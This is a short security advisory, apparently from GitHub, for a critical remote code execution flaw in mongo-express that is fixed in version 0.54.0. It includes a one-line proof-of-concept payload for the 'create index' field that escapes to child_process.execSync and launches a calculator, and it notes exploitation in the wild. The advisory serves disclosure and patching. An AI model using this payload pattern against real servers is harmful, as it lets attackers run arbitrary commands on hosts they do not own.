Remote code execution on the host machine by any authenticated user.
Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
Users should upgrade to version 0.54.0
Is there a way for users to fix or remediate the vulnerability without upgrading?
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
@JLLeitschuh for finding and reporting this vulnerability
This vulnerability has been exploited in the wild.
{
"github_reviewed": true,
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"severity": "CRITICAL",
"nvd_published_at": "2019-12-24T22:15:11Z",
"github_reviewed_at": "2019-12-30T19:29:02Z"
}